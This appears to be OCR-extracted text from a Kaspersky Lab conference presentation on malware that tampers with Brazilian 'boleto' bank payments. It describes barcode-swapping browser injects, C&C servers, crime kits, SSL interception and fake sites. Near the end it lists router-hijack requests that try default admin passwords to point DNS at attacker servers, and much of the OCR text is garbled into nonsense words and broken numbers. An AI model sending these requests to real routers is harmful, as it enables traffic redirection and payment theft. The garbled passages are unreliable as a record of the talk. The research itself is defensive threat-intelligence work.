BOLETO

+30 years old Brazilian popular payment system

21% of all payments in the country in 2011
18% of all online sales in 2012
Simple: just print and pay



|237-2| 23791.11103 60000.000103 01000.222206 1 48622000000000
Local 02 pEgETET VangimeT
PAGAVEL PREFERENCIALMENTE NAS AGENCIAS DO BRADESCO 29/01/2011
Ceteme Apdncia | Codign catems
NF-e Associacao NF-e 1111-8/0002222-5
D3 30 SoCUmRm M0 BOoUmSD == A2 D3 DOCESSATET) | CAMETE ) MOSSD nuTE
25/01/2011 MF 1 1M1 \ 25/01/2011 06/00000001001-8
L= 0 Banco Carers Exps (i) Wk (=) WEIOr SOCUEo
08 RS 20 000, 000.00
neTughes (Texin 02 responsaliidate 0o ceten) ) Desoonin | Aoaiimenins
Mao receber apos o vencimento.

Boleto 1 de 1 referente a NF 1 de 06/05/2008 com chave ) CuTEs cetugies
3508-0599-9990-5091-0270-5500-1000-0000-0151-8005-1273

(< Mora / Ruia

(=] TS BTESCITOS

/=) Walkor coorado

Sacado

DI STRIBUIDORA DE AGUAS MINERAIS CHPJ: 00.000.000/0001-91
AV DAS FONTES 1777 10 ANDAR ]
PARGQUE FONTES - Sac Paulo/5P - CEP: 13950-000 Cod. &K

Sacaoor ) Avalistl Auenticaziy mecnica- Ficha de Compensagdo




stealing money from offline users
the untold story, killing the FUDs

34191.75207 05756.892526 50451.630003 8 000

Fabio Assolini -
\Y & V3
Kaspersky Lab, #VB2014 KASI 'RSK



Video



Issuer Bank

44 digit ID field

23791.11103 60000.000103 01000.222206 1 48622000000000

1237-2]

PAGAVEL PREFERENCIALMENTE HAS AGENCIAS DO BRADESCO

VenGimenio
28/01/2014

Cetenie
NF-e Associacac NF-e

AgEncia | Codign cademe
1111-8/0002222-5

Diata 0 daCumentD Mo S0CUmEnD
25/01:2011 HF 1 1M1

Diata processamenio
25/01/2011

Carteta | NOSS MUTE
06/00000001001-8

ts0 0 banco Carera
06

(] Viair

=) Wiailor documeno
RS 20,000,000.00

m=vugies (Tewin de responsaniidacs oo codems)

Mio receber apos o vencimento.

Baoleto 1 de 1 referente a NF 1 de 06/05/2008 com chawve
3508-0599-9990-9091-0270-5500-1000-0000-0151-8005-1273

Customer data

(- Descomo | AbEimenos

1) Curss dedugles

=) Whora / Wit

=) DS STesCITOS

=) Wialor cobrado

Sacado
DISTRIBUIDORA DE AS MINERAIS CHNPJ: 00.000.000/0001-21

AV DAS FONTES 1777 10 ANDAR
PARQUE FONTES - Sac Paulo/5P - CEP: 13950-000

Cod. baixa

Sacador | Avalisia

IR GMANIE = sarcoce

Americags mecdnica- Ficha de Compensagdo




POwned by a barcode I(/\SI’:RSKVW

Boleto Bancario simply referred as Boleto

It is issued by stores, online retailers, government, banks and all kind of
businesses, can be paid in any bank.

It’s the preferred way to pay bills and buy goods, used by
. It’s so popular that

FIFA sold World Cup tickets through them.

A Boleto can be paid at ATMs, branch facilities and internet banking of any
Bank, Post Office, Lottery Agent and some supermarkets until its due date.
After due date it can only be paid at the issuer bank facilities.



POwned
by a barcode
KAJPzR{ICY -
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POwned by a barcode I(ASI’:RSKV

Boleto ID Field

23791.11103 60000.000103 01000.222206

Bank ID + checksum “Nosso nimero” Randon data Value and Due date

Bl Bank identifier code Bl Checksum digit
Il Currency identifier
B Random identification data




CA'XA 033-7 — Recibo do Sacado

CEDENTE CPF/CHFJ
LD Cedente 20/0472013
NOSS0 NUM [OaTh DO DOt

5 FEC SUMENTO [ OEN
990000000000000042-5 00042 oM 14/04/2013 m12]1234$
(%) VALOR DOCUMENTO =) CEDUCUES +) ACRESCIMOS

R$ 420,00 r

facano

e :! Real ID number
Este é um boleto para demonstragio
[ RUTENTICACHO MECANICA

104-0 10491.12343 56990.000004 00000.000422 3

Pagavel em qualquer agéncia banciaria a3té a data de vencimento
CEDENTE

LD Cedente
OnTa DOCUME O

inserted by the
malware

S Conte nesta linha Ot h I D b
CA ' x A 033-7 | 03399.49380 38000.000000 00422.701011 2 56740000042000 ﬁ er number

ETRUCOES S eeseaNTeE

Boleto gerado para testes
N&o receber apds venci mento = €S

Real Barcode

Rua da Lii
S8o Paul

Il

LD Teste ‘

AT nnn ther barcods

e inserted by the

JRAVAIRTTRNE R — malware

—




The malware I(ASI’:RSKV ;

offset alLinhadigitavel
dd offset aTd_ 8

dd offset afhr8chmGly? 18
dd offset aTxtdatavencime
dd offset aTxtvalorpagame
dd offset aTxtdataefetiva
dd offset aTxtlinhadigita
dd offset aTxtlinhadigi 8
dd offset aTxtlinhadigi 1
dd offset aTxtlinhadigi 2
dd offset aTxtlinhadigi 3
dd offset aPrincipal

dd offset aCorpo_8

dd offset alframeprinc

dd offset aTxtvalor
offset aTxtdatavenci_#

dd offset a_jsinject
dd offset aSetattribute
dd offset aFunctionSetval
dd offset aDocument_frmco
dd offset aDocument_frm_8
dd offset aDocument_ frm 1
dd offset aDocument_frm_ 2
dd offset aDocument_frm_3
dd offset aDocument_frm_4
dd offset aDocument_frm 5
dd offset aDocument_frm 6
dd offset aDocument_frm_7
dd offset aReturnEnviaval
dd offset aText

dd offset aHead

offset aGetelementsbyt

rver + + linhad, function(data) |

1. test (data)) |

-html (CurHeml

It's like SpyEye: webinjects in the browser session



The C&C KALPZR{KKY <

Request:
http://141.105.65.5/111111111%201111.1111%20111.111111%201%2011

Response:
03399.62086 86000.000009 00008.601049 7 0000000000000

bagacamesmo.biz

{"number":"03394.64208 00000.640946 23010.26 4 00000000009684","barcode":" ‘“HHHH‘HH‘”HHHH”HHH‘ “ H “H“HH“HNHHWH‘”HHHHHHHHHNH“H “ ‘ \rin ","text":"Santander"}

- C #f www.sumaster.com.ua

[03399. 61807




The Control Panel

KAJPzRficy ¢

HORA
17:52:44
02:51:08
02:51:12

10:50:20
22:25:52
17:25:05
17:25:06

2379012301 6 153 25000.
34191.09005 32493.177391 00893,
39992.64835 420

1048

62390.00117 210
39,750
M7

00190.0

34191.51973 80185.592930 80459.090

03399.10
34191.9

03150.522930 80453,
10932.032930 80453.

VALOR
135,80

456704 2 61120
370007 2 55430

105,90
-
1309,62
1395,55
511,68
499,34
12,69

} 53 171 37025.3010

z_imprimir.html

a_imprimir [1]}.html

This is what you’ve heard from the RSA history,

but there is more, much more...



The migration

KALPZR{KKY <

5
SO PROS ENTENDIDOS .

Pronta para uso.
vem que tem.

61170000032697
60230000122632 X
0820000073337 39891.7

Screenshot

Captured with Lightshot

i Geaze Martis likes this

Q ' ‘ ‘s ki boleto ;] b‘—'

Most of the Brazilian criminals who use
Trojan bankers to steal money are migrating
their attacks to target boletos, using the
same infrastructure. It’'s more protifable.

Cheap Crimeware Kits available on
Facebook, costing only $250.00

They are fast adopting new techniques.
Forget about that old and big Delphi trojan
bankers - they evolved.



The migration KALPZR|KY

(==

2 http://www.sysboleto.com.br//ClientesForms/Josue/index.phr 2 Painel de controle de Infos ...

PAINEL ADMINISTRATIVO.

LOGAR NO PAINEL

Painel de Infos 1.2.A By Iron Mask, 2012




Brazilians and Eastern European, the cooperation I(ASI’:RSKV

! .
] l a0 )
DEER.IO - Cozpnai CBOH Mara3mH akKayHTOB

OTEETUTE v

Buying BR loads - paying well

Buying BR loads - paying well

’ CoobuieHunit: n/a




Brazilians and Eastern European, the cooperation I(ASI’:RSKV

B 02-13-2014, 05:54 AM

dacmpassagens -
Junior Member

acmpassagens is offling
Join Date: Jan 2014
Posts: 10
MUSD: 0.00 [Transfer]
Jabber: N/A

Reputation: O [+/-]

#3

CnokoiHOK HOYW. H aHANWTUK NNaTeXHLIE TEPMUHANEI, UMEKOT YAANEHHEIH AOCTYN KO BCEM TEpMUHanaM A3C, cynepMapKeTsl W
APYTHe MarasuHel, ¥ MEHs ecTbk AOCTYN K Gonee yem 400 POS, ¥ MEHA BOZHWMKAKOT NpobneMebl C YCTAHOBKOK vSKimMmMeEr KTo XouJer
napTHepcTea GyAyT NpUBETCTEOBaTECA. H Opasuneu. MOK INEKTPOHHYID NOYTY MNKM CKain
acmpassagens

L0 mO0 wo mETCo0N

ATM Overlay program - Brazilian
edition

BTC 0.8620 .

Insira seu cartdo
berto e e e




Brazilians and Eastern European, the cooperation I(ASI’:RSKV
'

{"number":"03397 84407 00000.549659 19010.24 4 00000000009669"."barcode"" ‘H““HH“HH“HMH“HH“N“ H“HNMH “ H‘HH”H“

1ttp://regenere.gbo.ru/l1 ,0 >~ O L; Cobranca




Brazilians and Eastern European, the cooperation I(ASI’:RSKV

Whois Record for JogoNew.com

= Whois & Quick Stats

Email joaodesantocristo88@gmail.com is associated with ~14
dorains

Registrant Org joao santo cristo is associated with ~13 other domains
Registrar ACTIVE REGISTRAR, INC.
Registrar Status ok

Dates Created on 2014-07-08 - Expires on 2015-07-08 - Updated
on 2014-07-08

Name Server(s) NS1.ACTIVE-DNS.COM (has 39,742 domains)
NS2.ACTIVE-DNS.COM (has 39,742 domains)

IP Address 158.255.1.220 - 2 other sites hosted on this server

IP Location [ - Moscow City - Moscow - Mir Telematiki Ltd

ASN [ AS49335 NCONNECT-AS Mir Telematiki Ltd.,RU (registered May 20, 2009)

Domain Status Regicstered And Active Webhsite



Brazilians and Eastern European, the cooperation I(/\SI’:RSKVV

(- MaNa]

Boleto Atualizar | Boleto

€« C bloblt.gixx.ru

Atualizar Boletos




Brazilians and Eastern European, the cooperation KASI’ERSKY@

Working with ZeuS GameOver gangs to create encrypted payloads XORed with a
32-bit key and compressed by ZLIB, using the extensions .JMP, .BCK, .ENC...

view BOOT{1~1.JMP.jmp.UNJIMP - Far 2.0.1666 x64

Q000000000 : MZP @ & & g9
Q000000010: g8 OO 0O OO0 00 00 00 OO0 40 00 1A 00 00 00 00 00 é @a -
Q000000020 OO OO OO OO0 0O 00 00 00 Q0 00 OO 0O 00 DO 0O 00

Q000000030 0O 0O 00 00 00 00 00 00 00 00 OO 0O 00 01 00 00 @

0000000040: BA 10 00 OE 1F B4 09 CD | 21 B8 01 4c cD 21 90 90 ew J¥roH!éelLH!RQF
0000000050: 54 68 69 73 20 70 72 6F | 67 72 61 6D 20 6D 75 73 This program mus
0000000060: 74 20 62 65 20 72 75 6E | 20 75 6E 64 65 72 20 57 t be run under ¥
0000000070: 69 6E 33 32 0D 0A 24 37 | 00 00 00 00 00 00 00 00 in32)@%7
0000000080: 00 00 00 00 00 00 00 0O | 00 00 00 00 00 00 00 00

0000000090: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

00000000A0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

0000000080: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

00000000cO: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

00000000D0: 00 00 00 00 00 00 00 0O | 00 00 00 00 00 00 00 00

00000000g0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

00000000F0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00

0000000100: 50 45 00 00 4C 01 0A 00 | CcB 60 €6 53 00 00 00 00 PE L@ N XS
0000000110: 00 00 00 00 e0 00 B8 81 | OB 01 02 19 00 52 0D 00 a hidoe| R}
0000000120: 00 20 07 00 00 00 00 00 | B8 6C 0D 00 00 10 00 00 . elr w

0000000130: 00 70 OD 00 00 00 FF 1F | QO 10 OO0 00 00 02 00 00 pb av e e
ANAANANNTAN- NG AN AN AN AN AN an an | AS Af AN AR AN AN AN AN & A




SSL MitM using Fiddler

KALPZR{KKY <

The new versions are able to MitM SSL connections. HTTPS can’t save you

TETO4_pago bolet
05_pago boleto6_
pago boleto7_pag
0 boleto8_pago c
ampol campoZ cam
po3 campod4 campo
5 campob campo7

campo8 enviou si
nal string_temp

dig linha_digita
vel_nova line_bb

_salva bb_global
_name bb_global_

name_new new_1l1n
e old_1ine Defin
irTexto texto De
finirTexto2 pega
Bola send_signal
secao L102G3_5S1
E2N3D4 filePath

FiddlerCore Fidd
ler Session L102
b3UxESRD L3855 'I [#]
h Funcao ClAZI3X

f—————
Certificate

General | Details | Certification Path

1=} Certificate Information

This certificate is intended for the following purpose(s):

* Ensures the identity of a remote computer

Issued to:

Issued by: DO_NOT_TRUST _FiddlerRoot

Valid from 7/ 17/ 2013 to 7/ 15/ 2024

|1r|::tall Certificate. ..

Learn more ahot



Targeting Network Devices KALPZRKY 2

Attacking DLS modems remotely, changing DNS servers, since 2012.

Not massive but still used.
FileUnds

]]nwnluad]] ate

i "111111.1 h_i.ll.d. vrll 3 ms
':.lr:T_raa..mu r/flazh playerll-3 install exe
nz/br.msn. 3 ms

mbr/flaz ]I'I_I_Ild. erll-
m'flas h_‘[.lld. erll-3 Lt'| T..1|.l exe

20 2013 3:11:00 PA
33:11:00 PM

n2//63.111.1
http2www.uolcombrflash_play rrll-ﬁ mstall exe




Targeting Network Devices KALPZRKY 2

A serie of attacks, doing DNS |
poisoning on big ISPs (~12
million customers)

de Boleto de Cobranca

Redirecting users to fake

banking pages that generate
boletos
Changing boletos when
generated at online stores




Targeting Network Devices I(ASI’:RSKV :

Massive web-based attack on home routers using malvertising
techniques, changing DNS settings and redirecting to fake boletos

E;j Radar Palitico k+

politica.estadao.com.br/blogs/radar-politico/skaf-lanca-mapa-de-promessas-nao-cumpridas-de-alckmir - Google P ¥+ H

JornaldoCarro paladar link Radio Eldorado Radio Estadio @ @o o c::ﬁﬁfggs Ess_?A%Eﬁg

Authentication Required

e A username and password are being requested by http://192.168.1.254. The site says: "Wireless
Access Point”

User Name:

Password:

Radar Poksss
Informacoes, andlises e bastidores do poder

SEM COMENTARIOS.




Targeting Network Devices KALPZRKY 2

Massive web-based attack on home routers using malvertising
techniques, changing DNS settings and redirecting to fake boletos

O v X | C Aguardando s

7 5Ci0.c. ( |
b ot rgitn Seguranca do Windows [i;-]

The server 7=~ 77 "~ "1 is asking for your user name and password. The
server reports that it is from Wireless Access Point.

Warning: Your user name and password will be sent using basic
authentication on a connection that isn't secure.

‘SEWﬁa

Lembrar minhas credenciais

Cancelar



Targeting Network Devices KAIPZR{KY ¢

Massive web-based attack on home routers using malvertising
techniques, changing DNS settings and redirecting to fake boletos

//root@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//root@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin:admin@l192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin:admin@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin:123456@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin:123456@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin:12345@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin:12345@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin:velox@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin:velox@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:velox@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
://admin:velox@192.168.56.1/dnsProxy.cmd?enbl1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//root:root@l192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//root:root@l192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin:gvt12345@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin:gvt12345@192.168.56.1/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//root@192.168.56.10/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//root@192.168.56.10/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin@192.168.56.10/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
//admin@192.168.56.10/dnsProxy.cmd?enb1Dproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
//admin:admin@l192.168.56.10/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
44adm1n admin@192.168.56. 10/dnsProxy cmd?enb1Dproxy-O&Pr1maryDNS 54.68.141. 139&SecondaryDNS 54.68.71.75

el AmmArs,AAASm Asmm Ee oam d o =T e A A AameAs e R R T T . e [



Fake websites, sponsored links, malicious extensions I(/\SI’:RSKV C

Chrome Extensions Monitor

VISAD GERAL DETALHES COMEMNTARIOS ITENS RELACIONADOS

Visualizador Online de Docume Bonus Skype to Go
VISAO GERAL DETALHES COMENTARIOS

VISAO GERAL DETALHES COMENTARIOS ITENS RELACIONADOS

Ganhe JLora Mesmo em seu skype

100 minutos para fixos e

O desenvolvedor ndo enviou nenhuma captura de tel:

USUARIOS DESTA EXTENSAO TAMBEM USARAM RELACIONADOS

Correios Track Incredible StartPage - Adblock Pro startstop e Tabs MASTER Killer Zomble Clock —
Jokokod (124 Productive Start Page ¥ Kk hrdd sac s A Fast Speed Scroll View time in browser 9

FeRded (2104 *khkd s xRk x




Fake websites, sponsored links, malicious extensions I(ASI’:RSKV ;

activate the Developer mode
and install any extension

Extensions

Load unpacked extension... Pack extension... Update extensions now

g Try the new Chrome Apps & Extensions Developer Too

Firefox is = NumberChangerFirefox 0.1
a target as well! L




Fake websites, sponsored links, malicious extensions

Google

calculo boleto vencido

Web Imagens Mapas Shopping

KALPZR{KKY <

Ferramentas de pesqguisa

Aniincio relacionado a calculo boleto vencido @

Atualizar Boleto Vencido - parceld

www.parcelasatrasadas.com/ -
2% Via de Boleto Vencido. Atualize seu Bol

Calculo Exato - Valor atualizado d

calculoexato com br/dividas/boleto
Calcula valor de uma obrigacéo atrasada a ¢
boleto bancario.

WEE IMAGENS  VIDEOS NOTICIAS MAPAS MAIS

Atualizar Boleto Vencido

212.000 RESULTADOS  Restringir por regido -

Boleto Atualizar | Boleto Itau, Banco do Brasil BB,
Caixa ...

boletoatualizar.com_br @

Atualizar boleto agora é facil. Veja aqui como atualizar o seu, sem
sair de casal

site esta hospedado na KingHost

www.atualizarboleto.com.br @

O site que vocé acessou esta apontado para KingHost. Por favor, tente
novamente em breve. Veja: Registro de Dominio na KingHost Se vocé
for o responsavel por ...




Fake websites, sponsored links, malicious extensions I(ASI’:RSKV

reemitirboletos.com

E BOLETOFACIL Inicie  Comofunciona  Duvidas frequentes  Sobre  Contato

Escolha o Preenchimento do Imprimir boleto
Banco emissor boleto




How much money was stolen? How many victims? I(ASI’:RSKV :

Q TECHNOLOGY | Cybercrime Scheme Uncovered in Brazil

Cybercrime Scheme Uncr i i s eto’ Bandits Bilk Billions

FOSsam
SAN FRANCISCO — Security With the eyes of the world trained on Brazil for the 2014 FIFA World Cup, it seems a

By NICOLE PERLROTH JULY 2, 2014

. . . . fitting time to spotlight a growing form of computer fraud that’s giving Brazilian banks and
is a significant cybercrime op " . ] .
consumers a run for their money. Today’s post looks at new research into a mostly small-

in transactions by Brazilians. | . . . . .
time cybercrime practice that in the aggregate appears to have netted thieves the equivalent
It is unclear what percentage of billions of dollars over the past two years.

transactions was actually stol
redirected to criminals, the sg

previous electronic theft.

At issue is the “boleto” (officially “Boleto

o o e S A TG

Bancario™), a popular payment method in ==
Brazil that is used by consumers and for [Eras =
The thieves preved on Boleto most  business-to-business  payments. | = F :

payment method that can be Brazilians can use boletos to complete
online purchases via their bank’s Web site,

channels like banks and supe
division of the EMC Corporat

but unlike credit card payments — which

can be disputed and reversed — payments
made via boletos are not subject to
chargebacks and can only be reverted by
bank transfer.




How much money was stolen? I(/\SP:RSKV:

BANCO DO BRASIL

US 6.6 billion annual profit



How much money was stolen? I(ASI’ERSKYﬁ




How much money was stolen?

LINHA ALTERADA

KAJPzR{IKY <

03399.65295 62300.000007 00044.201028 3 610800000001 00
03399.65295 62300.000007 00044.201028 4 611100000000:00
03399.65295 62300.000007 00044.201028 6 61110234234.200
03399.65295 62300.000007 00044.201028 1 61140324242500
03399.65295 62300.000007 00044.201028 9 61141231231.230
03399.65295 62300.000007 00044.201028 1 61140005646400
03399.65295 62300.000007 00044, 201028 9 611412341 23400
03399.65295 62300.000007 00044, 201028 1 611600000000:00
03399.65295 62300.000007 00044.201023 1 61260000295295
03399.65295 62300.000007 00044.201028 2 61.220000000550
13399.65295 62300.000007 00044.201028 1 61.260000295295
03399.65295 62300.000007 00044.201023 § 61220000000649
03399.65295 62300.000007 00044.201028 1 6128000001 2000

1,00
:
2342342,00
3242423,00
12312312,30
5G464,00
12341234,00
:
29532,95
5,80
29532,95
6,49
120,00

|htt|: swwetnia.org.br/bolete/beleto.php
|htt|: wetnia.org.br/boleta/beleta.php
|htt|: swwetnia.org.br/bolete/beleto.php
|htt|: wetnia.org.br/boleta/beleta.php
|htt|: swwetnia.org.br/bolete/beleto.php
|htt|: wetnia.org.br/boleta/beleta.php
|htt|: swwetnia.org.br/bolete/beleto.php
|htt|: swwetnia.org.br/bolete/beleto.php
|htt|: beletophp.com.br/boletophp/boleto_cef.php
|htt|: 192,168.10.254,/boleta/beleta.php
|htt|: 192,168.10.254,/ boleta/belete_bb.php
|htt|: bancobrasil.com.br/boleto/baleto.php
|htt|: wetnia.org.br/boleta/beleta.php

Control panel displaying repeated and testing entries
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